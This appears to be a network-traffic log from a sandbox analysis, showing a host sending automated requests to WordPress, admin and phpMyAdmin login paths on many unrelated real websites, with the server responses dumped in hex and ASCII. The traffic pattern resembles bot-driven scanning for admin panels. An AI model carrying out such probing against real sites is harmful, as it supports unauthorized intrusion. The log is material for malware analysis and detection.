2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 3e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 74 2d 33 22 3e 32 30 32 33 2d 31 32 2d 32 30 20 30 32 3a 31 33 3a 33 32 20 55 54 43 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 68 65 61 64 65 72 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 79 2d 38 20 62 67 2d 67 72 61 64 69 65 6e 74 2d 67 72 61 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 2d 32 34 30 20 6c 67 3a 77 2d 66 75 6c 6c 20 6d 78 2d 61 75 74 6f 22 3e 0a Data Ascii: ="noopener noreferrer">cloudflare.com</a> for more information. </div> <div class="mt-3">2023-12-20 02:13:32 UTC</div> </header> <div class="my-8 bg-gradient-gray"> <div class="w-240 lg:w-full mx-auto">
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 30 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 64 69 72 65 63 74 61 2d 70 6c 75 73 2e 63 6f 6d 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 63 6c 6f 75 64 20 62 6c 6f 63 6b 20 6d 64 3a 68 69 64 64 65 6e 20 68 2d 32 30 20 62 67 2d 63 65 6e 74 65 72 20 62 67 2d 6e 6f 2d 72 65 70 65 61 74 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 6f 6b 20 77 2d 31 32 20 68 2d 31 32 20 61 62 73 6f 6c 75 74 65 20 6c 65 66 74 2d 31 2f 32 20 6d 64 3a 6c 65 66 74 2d 61 75 74 6f 20 6d 64 3a 72 69 67 68 74 2d 30 20 6d 64 3a 74 6f 70 2d 30 20 2d 6d 6c 2d 36 20 Data Ascii: 0&utm_campaign=directa-plus.com" target="_blank" rel="noopener noreferrer"> <span class="cf-icon-cloud block md:hidden h-20 bg-center bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left-auto md:right-0 md:top-0 -ml-6
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 73 70 61 6e 20 63 6c 61 73 73 3d 22 6c 65 61 64 69 6e 67 2d 31 2e 33 20 74 65 78 74 2d 32 78 6c 20 74 65 78 74 2d 72 65 64 2d 65 72 72 6f 72 22 3e 45 72 72 6f 72 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 2d 32 34 30 20 6c 67 3a 77 2d 66 75 6c 6c 20 6d 78 2d 61 75 74 6f 20 6d 62 2d 38 20 6c 67 3a 70 78 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 66 69 78 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 2d 31 2f 32 Data Ascii: span class="leading-1.3 text-2xl text-red-error">Error</span></div> </div> </div> </div> <div class="w-240 lg:w-full mx-auto mb-8 lg:px-8"> <div class="clearfix"> <div class="w-1/2
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 20 70 61 67 65 29 2e 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 68 63 2f 65 6e 2d 75 73 2f 61 72 74 69 63 6c 65 73 2f 32 30 30 31 37 31 39 33 36 2d 45 72 72 6f 72 2d 35 32 30 22 3e 41 64 64 69 74 69 6f 6e 61 6c 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 69 6e 67 20 72 65 73 6f 75 72 63 65 73 3c 2f 61 3e 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 65 72 72 6f 72 2d 66 6f Data Ascii: page).</span> <a rel="noopener noreferrer" href="https://support.cloudflare.com/hc/en-us/articles/200171936-Error-520">Additional troubleshooting resources</a>.</p> </div> </div> </div> <div class="cf-error-fo
2023-12-20 02:13:32 UTC	344	IN	Data Raw: 6c 22 29 3b 62 26 26 22 63 6c 61 73 73 4c 69 73 74 22 69 6e 20 62 26 26 28 62 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 68 69 64 64 65 6e 22 29 2c 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 63 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 68 69 64 64 65 6e 22 29 3b 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 29 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 68 69 64 64 65 6e 22 29 7d 29 29 7d 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 3b 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 26 26 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f Data Ascii: l");b&&"classList"in b&&(b.classList.remove("hidden"),c.addEventListener("click",function(){c.classList.add("hidden");a.getElementById("cf-footer-ip").classList.remove("hidden")}))}var a=document;document.addEventListener&&a.addEventListener("DOMContentLo

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.4	60959	108.163.227.170	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	352	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:31 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:32 UTC	5312	IN	Data Raw: 31 34 62 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 41 63 74 69 76 65 20 47 72 61 70 68 69 63 73 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 Data Ascii: 14b3<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Active Graphics — WordPress</title><meta name='robots' content='max-image-preview:large, noindex, noa

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.4	61359	13.248.169.48	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	330	OUT	GET /admin.php HTTP/1.1 Host: filmboxstudios.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:31 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_iiSD9uxd5p3PhGc2Q2awtrLux2ymB7XiMRDBidVkNjjFwSFxr+DYKIAApsrtNH1zeHuUZHsPJwYUUl6EvVRd/g Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:32 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.4	61241	205.178.187.19	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	210	OUT	GET /en_US/whois-suspension-netsol.jsp HTTP/1.0 Host: www.registrar-transfers.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:31 UTC	588	IN	HTTP/1.1 500 Internal Server Error Date: Wed, 20 Dec 2023 02:13:31 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 2070 Connection: close Set-Cookie: ingressnginxpublicuis=bc53bbf6feb93554bc2f53c19552f487\|66dc1766ccc35020769d07d4468e07d7; Expires=Wed, 20-Dec-23 02:43:31 GMT; Max-Age=1800; Path=/; Secure; HttpOnly set-cookie: JSESSIONID=DEA611FDEF7E4A0BE251B65D819ACD9F; Path=/; HttpOnly x-envoy-upstream-service-time: 1 x-envoy-decorator-operation: transfer-auth.domains.svc.cluster.local:8080/* Strict-Transport-Security: max-age=15724800; includeSubDomains
2023-12-20 02:13:31 UTC	2070	IN	Data Raw: 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0d 0a 3c 21 2d 2d 20 25 54 43 2d 49 4e 46 4f 25 20 2d 2d 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 65 61 6c 73 2e 6e 65 74 77 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">... %TC-INFO% --><html><head><title>Authorization</title><meta content="text/html; charset=UTF-8" http-equiv=content-type><script type="text/javascript" src="https://seals.netw

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.4	61396	151.101.1.195	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	235	OUT	GET /wp-admin/ HTTP/1.1 Host: geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.geoffreynolds.com.au/wp-login.php
2023-12-20 02:13:32 UTC	454	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 57 Location: https://www.geoffreynolds.com.au/wp-admin/ Content-Type: text/plain; charset=utf-8 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:32 GMT X-Served-By: cache-pdk-kpdk1780145-PDK X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038412.007023,VS0,VE22 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:32 UTC	57	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 6f 66 66 72 65 79 6e 6f 6c 64 73 2e 63 6f 6d 2e 61 75 2f 77 70 2d 61 64 6d 69 6e 2f Data Ascii: Redirecting to https://www.geoffreynolds.com.au/wp-admin/

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.4	61113	77.72.0.94	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	221	OUT	GET /wp-admin/ HTTP/1.1 Host: lunarrastar.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://lunarrastar.com/wp-login.php
2023-12-20 02:13:32 UTC	434	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1238 date: Wed, 20 Dec 2023 02:13:32 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2023-12-20 02:13:32 UTC	934	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s
2023-12-20 02:13:32 UTC	304	IN	Data Raw: 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e Data Ascii: 5, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" href="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over con

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.4	61416	23.227.38.32	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	176	OUT	GET /PhpMyAdmin HTTP/1.1 Host: artusopastry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	1354	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 312 X-Sorting-Hat-ShopId: 1584544 X-Storefront-Renderer-Rendered: 1 ETag: W/"cacheable:603c2f6ba8dec2a54d03484291e7a592" Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossorigin Set-Cookie: cart_currency=USD; path=/; expires=Wed, 03 Jan 2024 02:13:32 GMT Set-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22US%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=artusopastry.com; path=/; expires=Thu, 21 Dec 2023 02:13:32 GMT; SameSite=Lax Set-Cookie: _shopify_y=cb311957-03f9-4347-a5cc-d25ba0515dd6; Expires=Thu, 19-Dec-24 02:13:32 GMT; Domain=artusopastry.com; Path=/; SameSite=Lax Set-Cookie: _shopify_s=d13cd284-da33-4c42-85ff-98653f60e3fb; Expires=Wed, 20-Dec-23 02:43:32 GMT; Domain=artusopastry.com; Path=/; SameSite=Lax X-Cache: hit, server X-Frame-Options: DENY Content-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests; Strict-Transport-Security: max-age=7889238 X-ShopId: 1584544 X-ShardId: 312 Vary: Accept Content-Language: en powered-by: Shopify
2023-12-20 02:13:32 UTC	926	IN	Data Raw: 53 65 72 76 65 72 2d 54 69 6d 69 6e 67 3a 20 70 72 6f 63 65 73 73 69 6e 67 3b 64 75 72 3d 31 31 2c 20 64 62 3b 64 75 72 3d 33 2c 20 61 73 6e 3b 64 65 73 63 3d 22 31 37 34 22 2c 20 65 64 67 65 3b 64 65 73 63 3d 22 4d 49 41 22 2c 20 63 6f 75 6e 74 72 79 3b 64 65 73 63 3d 22 55 53 22 2c 20 74 68 65 6d 65 3b 64 65 73 63 3d 22 38 34 30 39 31 37 39 37 35 39 30 22 2c 20 70 61 67 65 54 79 70 65 3b 64 65 73 63 3d 22 34 30 34 22 2c 20 73 65 72 76 65 64 42 79 3b 64 65 73 63 3d 22 6a 76 36 32 22 2c 20 72 65 71 75 65 73 74 49 44 3b 64 65 73 63 3d 22 36 35 33 33 65 39 65 36 2d 32 36 35 30 2d 34 63 36 62 2d 61 30 36 66 2d 35 31 35 38 34 36 63 64 62 64 61 37 22 0d 0a 58 2d 53 68 6f 70 69 66 79 2d 53 74 61 67 65 3a 20 70 72 6f 64 75 63 74 69 6f 6e 0d 0a 58 2d 52 65 71 75 Data Ascii: Server-Timing: processing;dur=11, db;dur=3, asn;desc="174", edge;desc="MIA", country;desc="US", theme;desc="84091797590", pageType;desc="404", servedBy;desc="jv62", requestID;desc="6533e9e6-2650-4c6b-a06f-515846cdbda7"X-Shopify-Stage: productionX-Requ
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 37 61 35 37 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 21 2d 2d 20 42 61 73 69 63 20 70 61 67 65 20 6e 65 65 64 73 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 2d 2d 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 0a 20 20 0a 0a 20 20 3c 21 2d 2d 20 54 69 74 6c 65 20 61 6e 64 20 64 65 73 Data Ascii: 7a57<!doctype html><html class="no-js" lang="en"><head> ... Basic page needs ================================================== --> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> ... Title and des
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 66 35 30 35 62 64 61 63 30 34 33 5f 31 32 30 30 78 31 32 30 30 2e 70 6e 67 3f 76 3d 31 37 30 30 34 32 33 38 36 36 22 3e 0a 0a 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 65 5f 69 6d 61 67 65 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 6f 6b 69 65 73 2c 20 63 61 6b 65 73 2c 20 70 61 73 74 72 69 65 73 20 61 72 65 20 61 6c 6c 20 73 79 6e 6f 6e 79 6d 6f 75 73 20 77 69 74 68 20 41 72 74 75 73 6f 20 50 61 73 74 72 Data Ascii: f505bdac043_1200x1200.png?v=1700423866"><meta name="twitter:card" content="summary_large_image"><meta name="twitter:title" content="404 Not Found"><meta name="twitter:description" content="Cookies, cakes, pastries are all synonymous with Artuso Pastr
2023-12-20 02:13:32 UTC	1369	IN	Data Raw: 6d 50 72 65 76 3a 20 22 50 72 65 76 69 6f 75 73 20 28 4c 65 66 74 20 61 72 72 6f 77 20 6b 65 79 29 22 2c 0a 20 20 20 20 20 20 7a 6f 6f 6d 4e 65 78 74 3a 20 22 4e 65 78 74 20 28 52 69 67 68 74 20 61 72 72 6f 77 20 6b 65 79 29 22 2c 0a 20 20 20 20 20 20 6d 6f 6e 65 79 46 6f 72 6d 61 74 3a 20 22 24 7b 7b 61 6d 6f 75 6e 74 7d 7d 22 2c 0a 20 20 20 20 20 20 61 64 64 72 65 73 73 45 72 72 6f 72 3a 20 22 45 72 72 6f 72 20 6c 6f 6f 6b 69 6e 67 20 75 70 20 74 68 61 74 20 61 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 61 64 64 72 65 73 73 4e 6f 52 65 73 75 6c 74 73 3a 20 22 4e 6f 20 72 65 73 75 6c 74 73 20 66 6f 72 20 74 68 61 74 20 61 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 61 64 64 72 65 73 73 51 75 65 72 79 4c 69 6d 69 74 3a 20 22 59 6f 75 20 68 61 76 65 20 Data Ascii: mPrev: "Previous (Left arrow key)", zoomNext: "Next (Right arrow key)", moneyFormat: "${{amount}}", addressError: "Error looking up that address", addressNoResults: "No results for that address", addressQueryLimit: "You have
